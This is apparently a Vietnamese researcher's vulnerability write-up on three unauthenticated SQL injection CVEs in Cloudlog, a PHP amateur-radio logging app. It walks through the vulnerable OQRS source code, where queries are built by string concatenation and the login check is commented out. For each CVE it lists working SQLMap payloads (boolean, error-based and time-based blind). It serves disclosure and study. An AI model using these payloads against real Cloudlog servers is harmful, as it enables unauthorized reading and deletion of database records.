Unauthenticated SQL Injection in Cloudlog - Opensource project
CVE-2024-48253, CVE-2024-48255, CVE-2024-48259
Giới thiệu
Mình xin tự giới thiệu mình là Trung aka chigger . Mình là thành viên trong gia đình CookieHanHoan.
Mình sẽ tiếp tục với hành trình spam nhiều CVE nhất có thể.
Thông tin lỗ hổng
Bài viết này sẽ sử dụng phương pháp phân tích Whitebox, còn được gọi là Source Code Audit để phân tích source code và tìm ra lỗ hổng.
CVE-2024-48253:
Điểm số: 7.3
Mức độ nguy hiểm: HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVE-2024-48255:
Điểm số: 7.3
Mức độ nguy hiểm: HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVE-2024-48259:
Điểm số: 7.3
Mức độ nguy hiểm: HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Mục tiêu
Cloudlog là một ứng dụng PHP tự lưu trữ cho phép bạn ghi lại các liên hệ vô tuyến nghiệp dư của mình ở bất cứ đâu.
Mã nguồn: Cloudlog
Nền tảng này được thiết kế bằng ngôn ngữ PHP và 1 số công nghệ nổi bật:
Codeigniter 3: Framework PHP cho phát triển ứng dụng web.
Bootstrap 5: Bộ công cụ giao diện người dùng CSS để thiết kế website.
HTMX: Được sử dụng để thực hiện các yêu cầu AJAX.
jQuery: Thư viện JavaScript để hỗ trợ các chức năng giao diện người dùng.
Font Awesome: Bộ biểu tượng được sử dụng để thêm các icon vào giao diện.
Nguyên nhân gốc rễ (root-cause) gây ra lỗ hổng?
Lỗ hổng Injection, đặc biệt là SQL Injection, thường xuất phát từ việc ứng dụng không kiểm soát chặt chẽ dữ liệu đầu vào của người dùng, hay còn gọi là dữ liệu không đáng tin cậy (Untrusted Data). Trong nền tảng Cloudlog, nhiều câu truy vấn SQL được viết thủ công dưới dạng raw query.
Ngoài ra, chức năng tồn tại lỗ hổng này không thực hiện xác thực người dùng, dẫn đến lỗ hổng được gọi là Unauthenticated SQL Injection, với điểm CVSS ở mức cao và cực kỳ nguy hiểm.
CVE-2024-48253
Tại file application/models/Oqrs_model.php
, mình nhận thấy hàm delete_oqrs_line()
sử dụng raw query và thực hiện nối chuỗi với tham số id
. Mặc dù tham số này đã được validate bằng hàm xss_clean
, nhưng hàm này chỉ phòng chống lỗ hổng XSS (Cross-Site Scripting). Điều này có thể dẫn đến nguy cơ tiềm ẩn lỗ hổng SQL Injection.
class Oqrs_model extends CI_Model {
....
function delete_oqrs_line($id) {
$sql = 'delete from oqrs where id =' . xss_clean($id);
$query = $this->db->query($sql);
return true;
}
...
}
Mình nhận thấy hàm này được gọi từ hàm delete_oqrs_line()
trong file application/controllers/Oqrs.php
. Điều đáng lưu ý là tham số id
được truyền vào mà không qua bất kỳ kiểm tra hoặc xác thực đầu vào từ phía người dùng.
Ngoài ra, file controller này cũng không thực hiện việc xác thực và phân quyền người dùng, làm tăng nguy cơ bảo mật.
class Oqrs extends CI_Controller {
function __construct() {
parent::__construct();
$this->lang->load('lotw');
$this->lang->load('eqsl');
// Commented out to get public access
// $this->load->model('user_model');
// if(!$this->user_model->authorize(2)) { $this->session->set_flashdata('notice', 'You\'re not allowed to do that!'); redirect('dashboard'); }
}
...
public function delete_oqrs_line() {
$id = $this->input->post('id');
$this->load->model('oqrs_model');
$this->oqrs_model->delete_oqrs_line($id);
}
...
}
Kết luận: Hàm delete_oqrs_line()
tồn tại lỗ hổng Unauthenticated SQL Injection.
Cách khai thác
Việc thiếu kiểm tra dữ liệu đầu vào khi sử dụng raw query tiềm ẩn nguy cơ SQL Injection. Kẻ tấn công có thể lợi dụng ký tự đặc biệt để phá vỡ cú pháp truy vấn và thực thi mã độc hại.
Mình thử với kí tự đặc biệt '. Quan sát thấy server trả về thông báo Status code 500. Vậy ở đây ở tham số id
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (2091=2091) THEN 1 ELSE (SELECT 4251 UNION SELECT 5870) END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=1 AND EXTRACTVALUE(5347,CONCAT(0x5c,0x716b707a71,(SELECT (ELT(5347=5347,1))),0x7171717071))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)
Payload: id=1 AND (SELECT 9229 FROM (SELECT(SLEEP(5)))nsmf)#
CVE-2024-48255
Ở vị trí file application/models/Oqrs_model.php
, mình thấy rằng hàm get_station_info()
sử dụng raw query và thực hiện nối chuỗi với tham số station_id
. Điều này có thể dẫn đến nguy cơ tiềm ẩn lỗ hổng SQL Injection.
class Oqrs_model extends CI_Model {
function get_oqrs_stations() {
$this->db->where('oqrs', "1");
return $this->db->get('station_profile');
}
function get_station_info($station_id) {
$station_id = $this->security->xss_clean($station_id);
$sql = 'select
count(*) as count,
min(col_time_on) as mindate,
max(col_time_on) as maxdate
from ' . $this->config->item('table_name') . ' where station_id = ' . $station_id;
$query = $this->db->query($sql);
return $query->row();
}
...
}
Mình nhận thấy hàm này được gọi từ hàm get_station_info()
trong file application/controllers/Oqrs.php
. Đáng chú ý, tham số id
được truyền vào mà không qua bất kỳ quy trình kiểm tra hoặc xác thực đầu vào nào từ phía người dùng.
Hơn nữa, file controller này cũng không thực hiện xác thực và phân quyền người dùng, điều này làm gia tăng rủi ro bảo mật.
class Oqrs extends CI_Controller {
function __construct() {
parent::__construct();
$this->lang->load('lotw');
$this->lang->load('eqsl');
// Commented out to get public access
// $this->load->model('user_model');
// if(!$this->user_model->authorize(2)) { $this->session->set_flashdata('notice', 'You\'re not allowed to do that!'); redirect('dashboard'); }
}
....
public function get_station_info() {
$this->load->model('oqrs_model');
$result = $this->oqrs_model->get_station_info($this->input->post('station_id'));
header('Content-Type: application/json');
echo json_encode($result);
}
...
}
Cách khai thác
Việc thiếu kiểm tra dữ liệu đầu vào khi sử dụng raw query tiềm ẩn nguy cơ SQL Injection. Kẻ tấn công có thể lợi dụng ký tự đặc biệt để phá vỡ cú pháp truy vấn và thực thi mã độc hại.
Mình thử với kí tự đặc biệt '. Quan sát thấy server trả về thông báo Status code 500. Vậy ở đây ở tham số station_id
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: station_id=1 AND 3912=3912
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: station_id=1 AND (SELECT 2626 FROM(SELECT COUNT(*),CONCAT(0x7176717671,(SELECT (ELT(2626=2626,1))),0x7170627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: station_id=1 AND (SELECT 3981 FROM (SELECT(SLEEP(5)))yhwi)
CVE-2024-48259
Trong file application/models/Oqrs_model.php
, mình nhận thấy hàm getQueryData()
sử dụng raw query và thực hiện việc nối chuỗi với các tham số station_id
và callsign
. Phương pháp này tiềm ẩn nguy cơ lỗ hổng SQL Injection.
class Oqrs_model extends CI_Model {
....
function getQueryData($station_id, $callsign) {
$station_id = $this->security->xss_clean($station_id);
$callsign = $this->security->xss_clean($callsign);
$sql = 'select lower(col_mode) col_mode, coalesce(col_submode, "") col_submode, col_band from ' . $this->config->item('table_name') . ' where station_id = ' . $station_id . ' and col_call ="' . $callsign . '" and col_prop_mode != "SAT"';
$sql .= ' union all select lower(col_mode) col_mode, coalesce(col_submode, "") col_submode, "SAT" col_band from ' . $this->config->item('table_name') . ' where station_id = ' . $station_id . ' and col_call ="' . $callsign . '" and col_prop_mode = "SAT"';
$query = $this->db->query($sql);
return $query->result();
}
...
}
Mình nhận thấy hàm này được gọi từ hàm request_form()
trong file application/controllers/Oqrs.php
. Đáng lưu ý, các tham số station_id
và callsign
được truyền vào mà không trải qua bất kỳ quy trình kiểm tra hay xác thực đầu vào nào từ phía người dùng.
Hơn nữa, file controller này cũng không thực hiện việc xác thực và phân quyền người dùng, dẫn đến việc gia tăng rủi ro bảo mật.
class Oqrs extends CI_Controller {
function __construct() {
parent::__construct();
$this->lang->load('lotw');
$this->lang->load('eqsl');
// Commented out to get public access
// $this->load->model('user_model');
// if(!$this->user_model->authorize(2)) { $this->session->set_flashdata('notice', 'You\'re not allowed to do that!'); redirect('dashboard'); }
}
...
public function request_form() {
$this->load->model('oqrs_model');
$data['result'] = $this->oqrs_model->getQueryData($this->input->post('station_id'), $this->input->post('callsign'));
$data['callsign'] = $this->security->xss_clean($this->input->post('callsign'));
$data['qslinfo'] = $this->oqrs_model->getQslInfo($this->input->post('station_id'));
$this->load->view('oqrs/request', $data);
}
...
}
Cách khai thác
Việc thiếu kiểm tra dữ liệu đầu vào khi sử dụng raw query tiềm ẩn nguy cơ SQL Injection. Kẻ tấn công có thể lợi dụng ký tự đặc biệt để phá vỡ cú pháp truy vấn và thực thi mã độc hại.
Mình thử với kí tự đặc biệt '. Quan sát thấy server trả về thông báo Status code 500. Vậy ở đây ở tham số station_id, call_sign
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: station_id=(SELECT (CASE WHEN (7715=7715) THEN 1 ELSE (SELECT 4425 UNION SELECT 3185) END))&callsign=1
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: station_id=1 AND (SELECT 9729 FROM(SELECT COUNT(*),CONCAT(0x7170716b71,(SELECT (ELT(9729=9729,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&callsign=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: station_id=1 AND (SELECT 4523 FROM (SELECT(SLEEP(5)))PLAO)&callsign=1